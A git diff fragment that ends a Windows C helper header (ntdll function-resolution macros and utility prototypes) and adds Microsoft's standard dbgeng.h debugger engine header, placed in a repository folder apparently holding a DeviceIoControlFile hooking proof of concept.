f_##_name_ = (func_##_name_)GetProcAddress( \ + GetModuleHandleA("ntdll.dll"), \ + (#_name_) \ + ); + +#define UNICODE_FROM_WCHAR(_us_, _str_) \ + \ + ((PUNICODE_STRING)(_us_))->Buffer = (_str_); \ + ((PUNICODE_STRING)(_us_))->Length = \ + ((PUNICODE_STRING)(_us_))->MaximumLength = \ + (USHORT)wcslen((_str_)) * sizeof(WCHAR); + +#define IFMT32 "0x%.8x" +#define IFMT64 "0x%.16I64x" + +#define IFMT32_W L"0x%.8x" +#define IFMT64_W L"0x%.16I64x" + +#ifdef _X86_ + +#define IFMT IFMT32 +#define IFMT_W IFMT32_W + +#elif _AMD64_ + +#define IFMT IFMT64 +#define IFMT_W IFMT64_W + +#endif + +#define MAX_STRING_SIZE 255 + +BOOL LoadPrivileges(char *lpszName); +BOOL DumpToFile(char *lpszFileName, PVOID pData, ULONG DataSize); +BOOL ReadFromFile(LPCTSTR lpszFileName, PVOID *pData, PDWORD lpdwDataSize); + +char *GetNameFromFullPath(char *lpszPath); +wchar_t *GetNameFromFullPathW(wchar_t *lpwcPath); + +BOOL IsFileExists(char *lpszFileName); + +PVOID GetSysInf(SYSTEM_INFORMATION_CLASS InfoClass); +BOOL GetProcessNameById(DWORD dwProcessId, char *lpszName, size_t NameLen); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/dbgeng.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/dbgeng.h new file mode 100644 index 00000000..0b42dee3 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/dbgeng.h @@ -0,0 +1,16165 @@ +//---------------------------------------------------------------------------- +// +// Debugger engine interfaces. +// +// Copyright (c) Microsoft Corporation. All rights reserved. +// +//---------------------------------------------------------------------------- + +#ifndef __DBGENG_H__ +#define __DBGENG_H__ + +#include +#include + +#ifndef _WDBGEXTS_ +typedef struct _WINDBG_EXTENSION_APIS32* PWINDBG_EXTENSION_APIS32; +typedef struct _WINDBG_EXTENSION_APIS64* PWINDBG_EXTENSION_APIS64; +#endif + +#ifndef _CRASHLIB_ +typedef struct _MEMORY_BASIC_INFORMATION64* PMEMORY_BASIC_INFORMATION64; +#endif + +#ifndef __specstrings +// Should include SpecStrings.h to get proper definitions. +#define __in +#define __in_opt +#define __in_bcount(x) +#define __in_bcount_opt(x) +#define __in_ecount(x) +#define __in_ecount_opt(x) +#define __out +#define __out_opt +#define __out_bcount(x) +#define __out_bcount_opt(x) +#define __out_ecount(x) +#define __out_ecount_opt(x) +#define __out_xcount(x) +#define __inout +#define __inout_opt +#define __reserved +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +//---------------------------------------------------------------------------- +// +// GUIDs and interface forward declarations. +// +//---------------------------------------------------------------------------- + +/* f2df5f53-071f-47bd-9de6-5734c3fed689 */ +DEFINE_GUID(IID_IDebugAdvanced, 0xf2df5f53, 0x071f, 0x47bd, + 0x9d, 0xe6, 0x57, 0x34, 0xc3, 0xfe, 0xd6, 0x89); +/* 716d14c9-119b-4ba5-af1f-0890e672416a */ +DEFINE_GUID(IID_IDebugAdvanced2, 0x716d14c9, 0x119b, 0x4ba5, + 0xaf, 0x1f, 0x08, 0x90, 0xe6, 0x72, 0x41, 0x6a); +/* cba4abb4-84c4-444d-87ca-a04e13286739 */ +DEFINE_GUID(IID_IDebugAdvanced3, 0xcba4abb4, 0x84c4, 0x444d, + 0x87, 0xca, 0xa0, 0x4e, 0x13, 0x28, 0x67, 0x39); +/* 5bd9d474-5975-423a-b88b-65a8e7110e65 */ +DEFINE_GUID(IID_IDebugBreakpoint, 0x5bd9d474, 0x5975, 0x423a, + 0xb8, 0x8b, 0x65, 0xa8, 0xe7, 0x11, 0x0e, 0x65); +/* 1b278d20-79f2-426e-a3f9-c1ddf375d48e */ +DEFINE_GUID(IID_IDebugBreakpoint2, 0x1b278d20, 0x79f2, 0x426e, + 0xa3, 0xf9, 0xc1, 0xdd, 0xf3, 0x75, 0xd4, 0x8e); +/* 27fe5639-8407-4f47-8364-ee118fb08ac8 */ +DEFINE_GUID(IID_IDebugClient, 0x27fe5639, 0x8407, 0x4f47, + 0x83, 0x64, 0xee, 0x11, 0x8f, 0xb0, 0x8a, 0xc8); +/* edbed635-372e-4dab-bbfe-ed0d2f63be81 */ +DEFINE_GUID(IID_IDebugClient2, 0xedbed635, 0x372e, 0x4dab, + 0xbb, 0xfe, 0xed, 0x0d, 0x2f, 0x63, 0xbe, 0x81); +/* dd492d7f-71b8-4ad6-a8dc-1c887479ff91 */ +DEFINE_GUID(IID_IDebugClient3, 0xdd492d7f, 0x71b8, 0x4ad6, + 0xa8, 0xdc, 0x1c, 0x88, 0x74, 0x79, 0xff, 0x91); +/* ca83c3de-5089-4cf8-93c8-d892387f2a5e */ +DEFINE_GUID(IID_IDebugClient4, 0xca83c3de, 0x5089, 0x4cf8, + 0x93, 0xc8, 0xd8, 0x92, 0x38, 0x7f, 0x2a, 0x5e); +/* e3acb9d7-7ec2-4f0c-a0da-e81e0cbbe628 */ +DEFINE_GUID(IID_IDebugClient5, 0xe3acb9d7, 0x7ec2, 0x4f0c, + 0xa0, 0xda, 0xe8, 0x1e, 0x0c, 0xbb, 0xe6, 0x28); +/* 5182e668-105e-416e-ad92-24ef800424ba */ +DEFINE_GUID(IID_IDebugControl, 0x5182e668, 0x105e, 0x416e, + 0xad, 0x92, 0x24, 0xef, 0x80, 0x04, 0x24, 0xba); +/* d4366723-44df-4bed-8c7e-4c05424f4588 */ +DEFINE_GUID(IID_IDebugControl2, 0xd4366723, 0x44df, 0x4bed, + 0x8c, 0x7e, 0x4c, 0x05, 0x42, 0x4f, 0x45, 0x88); +/* 7df74a86-b03f-407f-90ab-a20dadcead08 */ +DEFINE_GUID(IID_IDebugControl3, 0x7df74a86, 0xb03f, 0x407f, + 0x90, 0xab, 0xa2, 0x0d, 0xad, 0xce, 0xad, 0x08); +/* 94e60ce9-9b41-4b19-9fc0-6d9eb35272b3 */ +DEFINE_GUID(IID_IDebugControl4, 0x94e60ce9, 0x9b41, 0x4b19, + 0x9f, 0xc0, 0x6d, 0x9e, 0xb3, 0x52, 0x72, 0xb3); +/* 88f7dfab-3ea7-4c3a-aefb-c4e8106173aa */ +DEFINE_GUID(IID_IDebugDataSpaces, 0x88f7dfab, 0x3ea7, 0x4c3a, + 0xae, 0xfb, 0xc4, 0xe8, 0x10, 0x61, 0x73, 0xaa); +/* 7a5e852f-96e9-468f-ac1b-0b3addc4a049 */ +DEFINE_GUID(IID_IDebugDataSpaces2, 0x7a5e852f, 0x96e9, 0x468f, + 0xac, 0x1b, 0x0b, 0x3a, 0xdd, 0xc4, 0xa0, 0x49); +/* 23f79d6c-8aaf-4f7c-a607-9995f5407e63 */ +DEFINE_GUID(IID_IDebugDataSpaces3, 0x23f79d6c, 0x8aaf, 0x4f7c, + 0xa6, 0x07, 0x99, 0x95, 0xf5, 0x40, 0x7e, 0x63); +/* d98ada1f-29e9-4ef5-a6c0-e53349883212 */ +DEFINE_GUID(IID_IDebugDataSpaces4, 0xd98ada1f, 0x29e9, 0x4ef5, + 0xa6, 0xc0, 0xe5, 0x33, 0x49, 0x88, 0x32, 0x12); +/* 337be28b-5036-4d72-b6bf-c45fbb9f2eaa */ +DEFINE_GUID(IID_IDebugEventCallbacks, 0x337be28b, 0x5036, 0x4d72, + 0xb6, 0xbf, 0xc4, 0x5f, 0xbb, 0x9f, 0x2e, 0xaa); +/* 0690e046-9c23-45ac-a04f-987ac29ad0d3 */ +DEFINE_GUID(IID_IDebugEventCallbacksWide, 0x0690e046, 0x9c23, 0x45ac, + 0xa0, 0x4f, 0x98, 0x7a, 0xc2, 0x9a, 0xd0, 0xd3); +/* 9f50e42c-f136-499e-9a97-73036c94ed2d */ +DEFINE_GUID(IID_IDebugInputCallbacks, 0x9f50e42c, 0xf136, 0x499e, + 0x9a, 0x97, 0x73, 0x03, 0x6c, 0x94, 0xed, 0x2d); +/* 4bf58045-d654-4c40-b0af-683090f356dc */ +DEFINE_GUID(IID_IDebugOutputCallbacks, 0x4bf58045, 0xd654, 0x4c40, + 0xb0, 0xaf, 0x68, 0x30, 0x90, 0xf3, 0x56, 0xdc); +/* 4c7fd663-c394-4e26-8ef1-34ad5ed3764c */ +DEFINE_GUID(IID_IDebugOutputCallbacksWide, 0x4c7fd663, 0xc394, 0x4e26, + 0x8e, 0xf1, 0x34, 0xad, 0x5e, 0xd3, 0x76, 0x4c); +/* 67721fe9-56d2-4a44-a325-2b65513ce6eb */ +DEFINE_GUID(IID_IDebugOutputCallbacks2, 0x67721fe9, 0x56d2, 0x4a44, + 0xa3, 0x25, 0x2b, 0x65, 0x51, 0x3c, 0xe6, 0xeb); +/* ce289126-9e84-45a7-937e-67bb18691493 */ +DEFINE_GUID(IID_IDebugRegisters, 0xce289126, 0x9e84, 0x45a7, + 0x93, 0x7e, 0x67, 0xbb, 0x18, 0x69, 0x14, 0x93); +/* 1656afa9-19c6-4e3a-97e7-5dc9160cf9c4 */ +DEFINE_GUID(IID_IDebugRegisters2, 0x1656afa9, 0x19c6, 0x4e3a, + 0x97, 0xe7, 0x5d, 0xc9, 0x16, 0x0c, 0xf9, 0xc4); +/* f2528316-0f1a-4431-aeed-11d096e1e2ab */ +DEFINE_GUID(IID_IDebugSymbolGroup, 0xf2528316, 0x0f1a, 0x4431, + 0xae, 0xed, 0x11, 0xd0, 0x96, 0xe1, 0xe2, 0xab); +/* 6a7ccc5f-fb5e-4dcc-b41c-6c20307bccc7 */ +DEFINE_GUID(IID_IDebugSymbolGroup2, 0x6a7ccc5f, 0xfb5e, 0x4dcc, + 0xb4, 0x1c, 0x6c, 0x20, 0x30, 0x7b, 0xcc, 0xc7); +/* 8c31e98c-983a-48a5-9016-6fe5d667a950 */ +DEFINE_GUID(IID_IDebugSymbols, 0x8c31e98c, 0x983a, 0x48a5, + 0x90, 0x16, 0x6f, 0xe5, 0xd6, 0x67, 0xa9, 0x50); +/* 3a707211-afdd-4495-ad4f-56fecdf8163f */ +DEFINE_GUID(IID_IDebugSymbols2, 0x3a707211, 0xafdd, 0x4495, + 0xad, 0x4f, 0x56, 0xfe, 0xcd, 0xf8, 0x16, 0x3f); +/* f02fbecc-50ac-4f36-9ad9-c975e8f32ff8 */ +DEFINE_GUID(IID_IDebugSymbols3, 0xf02fbecc, 0x50ac, 0x4f36, + 0x9a, 0xd9, 0xc9, 0x75, 0xe8, 0xf3, 0x2f, 0xf8); +/* 6b86fe2c-2c4f-4f0c-9da2-174311acc327 */ +DEFINE_GUID(IID_IDebugSystemObjects, 0x6b86fe2c, 0x2c4f, 0x4f0c, + 0x9d, 0xa2, 0x17, 0x43, 0x11, 0xac, 0xc3, 0x27); +/* 0ae9f5ff-1852-4679-b055-494bee6407ee */ +DEFINE_GUID(IID_IDebugSystemObjects2, 0x0ae9f5ff, 0x1852, 0x4679, + 0xb0, 0x55, 0x49, 0x4b, 0xee, 0x64, 0x07, 0xee); +/* e9676e2f-e286-4ea3-b0f9-dfe5d9fc330e */ +DEFINE_GUID(IID_IDebugSystemObjects3, 0xe9676e2f, 0xe286, 0x4ea3, + 0xb0, 0xf9, 0xdf, 0xe5, 0xd9, 0xfc, 0x33, 0x0e); +/* 489468e6-7d0f-4af5-87ab-25207454d553 */ +DEFINE_GUID(IID_IDebugSystemObjects4, 0x489468e6, 0x7d0f, 0x4af5, + 0x87, 0xab, 0x25, 0x20, 0x74, 0x54, 0xd5, 0x53); + +typedef interface DECLSPEC_UUID("f2df5f53-071f-47bd-9de6-5734c3fed689") + IDebugAdvanced* PDEBUG_ADVANCED; +typedef interface DECLSPEC_UUID("716d14c9-119b-4ba5-af1f-0890e672416a") + IDebugAdvanced2* PDEBUG_ADVANCED2; +typedef interface DECLSPEC_UUID("cba4abb4-84c4-444d-87ca-a04e13286739") + IDebugAdvanced3* PDEBUG_ADVANCED3; +typedef interface DECLSPEC_UUID("5bd9d474-5975-423a-b88b-65a8e7110e65") + IDebugBreakpoint* PDEBUG_BREAKPOINT; +typedef interface DECLSPEC_UUID("1b278d20-79f2-426e-a3f9-c1ddf375d48e") + IDebugBreakpoint2* PDEBUG_BREAKPOINT2; +typedef interface DECLSPEC_UUID("27fe5639-8407-4f47-8364-ee118fb08ac8") + IDebugClient* PDEBUG_CLIENT; +typedef interface DECLSPEC_UUID("edbed635-372e-4dab-bbfe-ed0d2f63be81") + IDebugClient2* PDEBUG_CLIENT2; +typedef interface DECLSPEC_UUID("dd492d7f-71b8-4ad6-a8dc-1c887479ff91") + IDebugClient3* PDEBUG_CLIENT3; +typedef interface DECLSPEC_UUID("ca83c3de-5089-4cf8-93c8-d892387f2a5e") + IDebugClient4* PDEBUG_CLIENT4; +typedef interface DECLSPEC_UUID("e3acb9d7-7ec2-4f0c-a0da-e81e0cbbe628") + IDebugClient5* PDEBUG_CLIENT5; +typedef interface DECLSPEC_UUID("5182e668-105e-416e-ad92-24ef800424ba") + IDebugControl* PDEBUG_CONTROL; +typedef interface DECLSPEC_UUID("d4366723-44df-4bed-8c7e-4c05424f4588") + IDebugControl2* PDEBUG_CONTROL2; +typedef interface DECLSPEC_UUID("7df74a86-b03f-407f-90ab-a20dadcead08") + IDebugControl3* PDEBUG_CONTROL3; +typedef interface DECLSPEC_UUID("94e60ce9-9b41-4b19-9fc0-6d9eb35272b3") + IDebugControl4* PDEBUG_CONTROL4; +typedef interface DECLSPEC_UUID("88f7dfab-3ea7-4c3a-aefb-c4e8106173aa") + IDebugDataSpaces* PDEBUG_DATA_SPACES; +typedef interface DECLSPEC_UUID("7a5e852f-96e9-468f-ac1b-0b3addc4a049") + IDebugDataSpaces2* PDEBUG_DATA_SPACES2; +typedef interface DECLSPEC_UUID("23f79d6c-8aaf-4f7c-a607-9995f5407e63") + IDebugDataSpaces3* PDEBUG_DATA_SPACES3; +typedef interface DECLSPEC_UUID("d98ada1f-29e9-4ef5-a6c0-e53349883212") + IDebugDataSpaces4* PDEBUG_DATA_SPACES4; +typedef interface DECLSPEC_UUID("337be28b-5036-4d72-b6bf-c45fbb9f2eaa") + IDebugEventCallbacks* PDEBUG_EVENT_CALLBACKS; +typedef interface DECLSPEC_UUID("0690e046-9c23-45ac-a04f-987ac29ad0d3") + IDebugEventCallbacksWide* PDEBUG_EVENT_CALLBACKS_WIDE; +typedef interface DECLSPEC_UUID("9f50e42c-f136-499e-9a97-73036c94ed2d") + IDebugInputCallbacks* PDEBUG_INPUT_CALLBACKS; +typedef interface DECLSPEC_UUID("4bf58045-d654-4c40-b0af-683090f356dc") + IDebugOutputCallbacks* PDEBUG_OUTPUT_CALLBACKS; +typedef interface DECLSPEC_UUID("4c7fd663-c394-4e26-8ef1-34ad5ed3764c") + IDebugOutputCallbacksWide* PDEBUG_OUTPUT_CALLBACKS_WIDE; +typedef interface DECLSPEC_UUID("67721fe9-56d2-4a44-a325-2b65513ce6eb") + IDebugOutputCallbacks2* PDEBUG_OUTPUT_CALLBACKS2; +typedef interface DECLSPEC_UUID("ce289126-9e84-45a7-937e-67bb18691493") + IDebugRegisters* PDEBUG_REGISTERS; +typedef interface DECLSPEC_UUID("1656afa9-19c6-4e3a-97e7-5dc9160cf9c4") + IDebugRegisters2* PDEBUG_REGISTERS2; +typedef interface DECLSPEC_UUID("f2528316-0f1a-4431-aeed-11d096e1e2ab") + IDebugSymbolGroup* PDEBUG_SYMBOL_GROUP; +typedef interface DECLSPEC_UUID("6a7ccc5f-fb5e-4dcc-b41c-6c20307bccc7") + IDebugSymbolGroup2* PDEBUG_SYMBOL_GROUP2; +typedef interface DECLSPEC_UUID("8c31e98c-983a-48a5-9016-6fe5d667a950") + IDebugSymbols* PDEBUG_SYMBOLS; +typedef interface DECLSPEC_UUID("3a707211-afdd-4495-ad4f-56fecdf8163f") + IDebugSymbols2* PDEBUG_SYMBOLS2; +typedef interface DECLSPEC_UUID("f02fbecc-50ac-4f36-9ad9-c975e8f32ff8") + IDebugSymbols3* PDEBUG_SYMBOLS3; +typedef interface DECLSPEC_UUID("6b86fe2c-2c4f-4f0c-9da2-174311acc327") + IDebugSystemObjects* PDEBUG_SYSTEM_OBJECTS; +typedef interface DECLSPEC_UUID("0ae9f5ff-1852-4679-b055-494bee6407ee") + IDebugSystemObjects2* PDEBUG_SYSTEM_OBJECTS2; +typedef interface DECLSPEC_UUID("e9676e2f-e286-4ea3-b0f9-dfe5d9fc330e") + IDebugSystemObjects3* PDEBUG_SYSTEM_OBJECTS3; +typedef interface DECLSPEC_UUID("489468e6-7d0f-4af5-87ab-25207454d553") + IDebugSystemObjects4* PDEBUG_SYSTEM_OBJECTS4; + +//---------------------------------------------------------------------------- +// +// Macros. +// +//---------------------------------------------------------------------------- + +// Extends a 32-bit address into a 64-bit address. +#define DEBUG_EXTEND64(Addr) ((ULONG64)(LONG64)(LONG)(Addr)) + +//---------------------------------------------------------------------------- +// +// Client creation functions. +// +//---------------------------------------------------------------------------- + +// RemoteOptions specifies connection types and +// their parameters. Supported strings are: +// npipe:Server=,Pipe= +// tcp:Server=,Port= +STDAPI +DebugConnect( + __in PCSTR RemoteOptions, + __in REFIID InterfaceId, + __out PVOID* Interface + ); + +STDAPI +DebugConnectWide( + __in PCWSTR RemoteOptions, + __in REFIID InterfaceId, + __out PVOID* Interface + ); + +STDAPI +DebugCreate( + __in REFIID InterfaceId, + __out PVOID* Interface + ); + +//---------------------------------------------------------------------------- +// +// IDebugAdvanced. +// +//---------------------------------------------------------------------------- + +typedef struct _DEBUG_OFFSET_REGION +{ + ULONG64 Base; + ULONG64 Size; +} DEBUG_OFFSET_REGION, *PDEBUG_OFFSET_REGION; + +#undef INTERFACE +#define INTERFACE IDebugAdvanced +DECLARE_INTERFACE_(IDebugAdvanced, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugAdvanced. + + // Get/SetThreadContext offer control over + // the full processor context for a thread. + // Higher-level functions, such as the + // IDebugRegisters interface, allow similar + // access in simpler and more generic ways. + // Get/SetThreadContext are useful when + // large amounts of thread context must + // be changed and processor-specific code + // is not a problem. + STDMETHOD(GetThreadContext)( + THIS_ + __out_bcount(ContextSize) /* align_is(16) */ PVOID Context, + __in ULONG ContextSize + ) PURE; + STDMETHOD(SetThreadContext)( + THIS_ + __in_bcount(ContextSize) /* align_is(16) */ PVOID Context, + __in ULONG ContextSize + ) PURE; +}; + +typedef struct _DEBUG_READ_USER_MINIDUMP_STREAM +{ + IN ULONG StreamType; + IN ULONG Flags; + IN ULONG64 Offset; + OUT PVOID Buffer; + IN ULONG BufferSize; + OUT ULONG BufferUsed; +} DEBUG_READ_USER_MINIDUMP_STREAM, *PDEBUG_READ_USER_MINIDUMP_STREAM; + +#define DEBUG_GET_TEXT_COMPLETIONS_NO_DOT_COMMANDS 0x00000001 +#define DEBUG_GET_TEXT_COMPLETIONS_NO_EXTENSION_COMMANDS 0x00000002 +#define DEBUG_GET_TEXT_COMPLETIONS_NO_SYMBOLS 0x00000004 + +typedef struct _DEBUG_GET_TEXT_COMPLETIONS_IN +{ + ULONG Flags; + ULONG MatchCountLimit; + ULONG64 Reserved[3]; + // Input text string follows. +} DEBUG_GET_TEXT_COMPLETIONS_IN, *PDEBUG_GET_TEXT_COMPLETIONS_IN; + +#define DEBUG_GET_TEXT_COMPLETIONS_IS_DOT_COMMAND 0x00000001 +#define DEBUG_GET_TEXT_COMPLETIONS_IS_EXTENSION_COMMAND 0x00000002 +#define DEBUG_GET_TEXT_COMPLETIONS_IS_SYMBOL 0x00000004 + +typedef struct _DEBUG_GET_TEXT_COMPLETIONS_OUT +{ + ULONG Flags; + // Char index in input string where completions start. + ULONG ReplaceIndex; + ULONG MatchCount; + ULONG Reserved1; + ULONG64 Reserved2[2]; + // Completions follow. + // Completion data is zero-terminated strings ended + // by a final zero double-terminator. +} DEBUG_GET_TEXT_COMPLETIONS_OUT, *PDEBUG_GET_TEXT_COMPLETIONS_OUT; + +typedef struct _DEBUG_CACHED_SYMBOL_INFO +{ + ULONG64 ModBase; + ULONG64 Arg1; + ULONG64 Arg2; + ULONG Id; + ULONG Arg3; +} DEBUG_CACHED_SYMBOL_INFO, *PDEBUG_CACHED_SYMBOL_INFO; + +// +// Request requests. +// + +// InBuffer - Unused. +// OutBuffer - Unused. +#define DEBUG_REQUEST_SOURCE_PATH_HAS_SOURCE_SERVER 0 + +// InBuffer - Unused. +// OutBuffer - Machine-specific CONTEXT. +#define DEBUG_REQUEST_TARGET_EXCEPTION_CONTEXT 1 + +// InBuffer - Unused. +// OutBuffer - ULONG system ID of thread. +#define DEBUG_REQUEST_TARGET_EXCEPTION_THREAD 2 + +// InBuffer - Unused. +// OutBuffer - EXCEPTION_RECORD64. +#define DEBUG_REQUEST_TARGET_EXCEPTION_RECORD 3 + +// InBuffer - Unused. +// OutBuffer - DEBUG_CREATE_PROCESS_OPTIONS. +#define DEBUG_REQUEST_GET_ADDITIONAL_CREATE_OPTIONS 4 + +// InBuffer - DEBUG_CREATE_PROCESS_OPTIONS. +// OutBuffer - Unused. +#define DEBUG_REQUEST_SET_ADDITIONAL_CREATE_OPTIONS 5 + +// InBuffer - Unused. +// OutBuffer - ULONG[2] major/minor. +#define DEBUG_REQUEST_GET_WIN32_MAJOR_MINOR_VERSIONS 6 + +// InBuffer - DEBUG_READ_USER_MINIDUMP_STREAM. +// OutBuffer - Unused. +#define DEBUG_REQUEST_READ_USER_MINIDUMP_STREAM 7 + +// InBuffer - Unused. +// OutBuffer - Unused. +#define DEBUG_REQUEST_TARGET_CAN_DETACH 8 + +// InBuffer - PTSTR. +// OutBuffer - Unused. +#define DEBUG_REQUEST_SET_LOCAL_IMPLICIT_COMMAND_LINE 9 + +// InBuffer - Unused. +// OutBuffer - Event code stream offset. +#define DEBUG_REQUEST_GET_CAPTURED_EVENT_CODE_OFFSET 10 + +// InBuffer - Unused. +// OutBuffer - Event code stream information. +#define DEBUG_REQUEST_READ_CAPTURED_EVENT_CODE_STREAM 11 + +// InBuffer - Input data block. +// OutBuffer - Processed data block. +#define DEBUG_REQUEST_EXT_TYPED_DATA_ANSI 12 + +// InBuffer - Unused. +// OutBuffer - Returned path. +#define DEBUG_REQUEST_GET_EXTENSION_SEARCH_PATH_WIDE 13 + +// InBuffer - DEBUG_GET_TEXT_COMPLETIONS_IN. +// OutBuffer - DEBUG_GET_TEXT_COMPLETIONS_OUT. +#define DEBUG_REQUEST_GET_TEXT_COMPLETIONS_WIDE 14 + +// InBuffer - ULONG64 cookie. +// OutBuffer - DEBUG_CACHED_SYMBOL_INFO. +#define DEBUG_REQUEST_GET_CACHED_SYMBOL_INFO 15 + +// InBuffer - DEBUG_CACHED_SYMBOL_INFO. +// OutBuffer - ULONG64 cookie. +#define DEBUG_REQUEST_ADD_CACHED_SYMBOL_INFO 16 + +// InBuffer - ULONG64 cookie. +// OutBuffer - Unused. +#define DEBUG_REQUEST_REMOVE_CACHED_SYMBOL_INFO 17 + +// InBuffer - DEBUG_GET_TEXT_COMPLETIONS_IN. +// OutBuffer - DEBUG_GET_TEXT_COMPLETIONS_OUT. +#define DEBUG_REQUEST_GET_TEXT_COMPLETIONS_ANSI 18 + +// InBuffer - Unused. +// OutBuffer - Unused. +#define DEBUG_REQUEST_CURRENT_OUTPUT_CALLBACKS_ARE_DML_AWARE 19 + +// InBuffer - ULONG64 offset. +// OutBuffer - Unwind information. +#define DEBUG_REQUEST_GET_OFFSET_UNWIND_INFORMATION 20 + +// InBuffer - Unused +// OutBuffer - returned DUMP_HEADER32/DUMP_HEADER64 structure. +#define DEBUG_REQUEST_GET_DUMP_HEADER 21 + +// InBuffer - DUMP_HEADER32/DUMP_HEADER64 structure. +// OutBuffer - Unused +#define DEBUG_REQUEST_SET_DUMP_HEADER 22 + +// InBuffer - Midori specific +// OutBuffer - Midori specific +#define DEBUG_REQUEST_MIDORI 23 + +// InBuffer - Unused +// OutBuffer - PROCESS_NAME_ENTRY blocks +#define DEBUG_REQUEST_PROCESS_DESCRIPTORS 24 + +// InBuffer - Unused +// OutBuffer - MINIDUMP_MISC_INFO_N blocks +#define DEBUG_REQUEST_MISC_INFORMATION 25 + +// InBuffer - Unused +// OutBuffer - ULONG64 as TokenHandle value +#define DEBUG_REQUEST_OPEN_PROCESS_TOKEN 26 + +// InBuffer - Unused +// OutBuffer - ULONG64 as TokenHandle value +#define DEBUG_REQUEST_OPEN_THREAD_TOKEN 27 + +// InBuffer - ULONG64 as TokenHandle being duplicated +// OutBuffer - ULONG64 as new duplicated TokenHandle +#define DEBUG_REQUEST_DUPLICATE_TOKEN 28 + +// InBuffer - a ULONG64 as TokenHandle and a ULONG as NtQueryInformationToken() request code +// OutBuffer - NtQueryInformationToken() return +#define DEBUG_REQUEST_QUERY_INFO_TOKEN 29 + +// InBuffer - ULONG64 as TokenHandle +// OutBuffer - Unused +#define DEBUG_REQUEST_CLOSE_TOKEN 30 + + + +// +// GetSourceFileInformation requests. +// + +// Arg64 - Module base. +// Arg32 - Unused. +#define DEBUG_SRCFILE_SYMBOL_TOKEN 0 + +// Arg64 - Module base. +// Arg32 - Unused. +#define DEBUG_SRCFILE_SYMBOL_TOKEN_SOURCE_COMMAND_WIDE 1 + +// +// GetSymbolInformation requests. +// + +// Arg64 - Unused. +// Arg32 - Breakpoint ID. +// Buffer - ULONG line number. +// String - File name. +#define DEBUG_SYMINFO_BREAKPOINT_SOURCE_LINE 0 + +// Arg64 - Module base. +// Arg32 - Unused. +// Buffer - IMAGEHLP_MODULEW64. +// String - Unused. +#define DEBUG_SYMINFO_IMAGEHLP_MODULEW64 1 + +// Arg64 - Offset. +// Arg32 - Symbol tag. +// Buffer - Unicode symbol name strings. Could have multiple strings. +// String - Unused, strings are returned in Buffer as there +// may be more than one. +#define DEBUG_SYMINFO_GET_SYMBOL_NAME_BY_OFFSET_AND_TAG_WIDE 2 + +// Arg64 - Module base. +// Arg32 - Symbol tag. +// Buffer - Array of symbol addresses. +// String - Concatenated symbol strings. Individual symbol +// strings are zero-terminated and the final string in +// a symbol is double-zero-terminated. +#define DEBUG_SYMINFO_GET_MODULE_SYMBOL_NAMES_AND_OFFSETS 3 + +// +// GetSystemObjectInformation requests. +// + +// Arg64 - Unused. +// Arg32 - Debugger thread ID. +// Buffer - DEBUG_THREAD_BASIC_INFORMATION. +#define DEBUG_SYSOBJINFO_THREAD_BASIC_INFORMATION 0 + +// Arg64 - Unused. +// Arg32 - Debugger thread ID. +// Buffer - Unicode name string. +#define DEBUG_SYSOBJINFO_THREAD_NAME_WIDE 1 + +// Arg64 - Unused. +// Arg32 - Unused. +// Buffer - ULONG cookie value. +#define DEBUG_SYSOBJINFO_CURRENT_PROCESS_COOKIE 2 + +#define DEBUG_TBINFO_EXIT_STATUS 0x00000001 +#define DEBUG_TBINFO_PRIORITY_CLASS 0x00000002 +#define DEBUG_TBINFO_PRIORITY 0x00000004 +#define DEBUG_TBINFO_TIMES 0x00000008 +#define DEBUG_TBINFO_START_OFFSET 0x00000010 +#define DEBUG_TBINFO_AFFINITY 0x00000020 +#define DEBUG_TBINFO_ALL 0x0000003f + +typedef struct _DEBUG_THREAD_BASIC_INFORMATION +{ + // Valid members have a DEBUG_TBINFO bit set in Valid. + ULONG Valid; + ULONG ExitStatus; + ULONG PriorityClass; + ULONG Priority; + ULONG64 CreateTime; + ULONG64 ExitTime; + ULONG64 KernelTime; + ULONG64 UserTime; + ULONG64 StartOffset; + ULONG64 Affinity; +} DEBUG_THREAD_BASIC_INFORMATION, *PDEBUG_THREAD_BASIC_INFORMATION; + +#undef INTERFACE +#define INTERFACE IDebugAdvanced2 +DECLARE_INTERFACE_(IDebugAdvanced2, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugAdvanced. + + // Get/SetThreadContext offer control over + // the full processor context for a thread. + // Higher-level functions, such as the + // IDebugRegisters interface, allow similar + // access in simpler and more generic ways. + // Get/SetThreadContext are useful when + // large amounts of thread context must + // be changed and processor-specific code + // is not a problem. + STDMETHOD(GetThreadContext)( + THIS_ + __out_bcount(ContextSize) /* align_is(16) */ PVOID Context, + __in ULONG ContextSize + ) PURE; + STDMETHOD(SetThreadContext)( + THIS_ + __in_bcount(ContextSize) /* align_is(16) */ PVOID Context, + __in ULONG ContextSize + ) PURE; + + // IDebugAdvanced2. + + // + // Generalized open-ended methods for querying + // and manipulation. The open-ended nature of + // these methods makes it easy to add new requests, + // although at a cost in convenience of calling. + // Sufficiently common requests may have more specific, + // simpler methods elsewhere. + // + + STDMETHOD(Request)( + THIS_ + __in ULONG Request, + __in_bcount_opt(InBufferSize) PVOID InBuffer, + __in ULONG InBufferSize, + __out_bcount_opt(OutBufferSize) PVOID OutBuffer, + __in ULONG OutBufferSize, + __out_opt PULONG OutSize + ) PURE; + + STDMETHOD(GetSourceFileInformation)( + THIS_ + __in ULONG Which, + __in PSTR SourceFile, + __in ULONG64 Arg64, + __in ULONG Arg32, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG InfoSize + ) PURE; 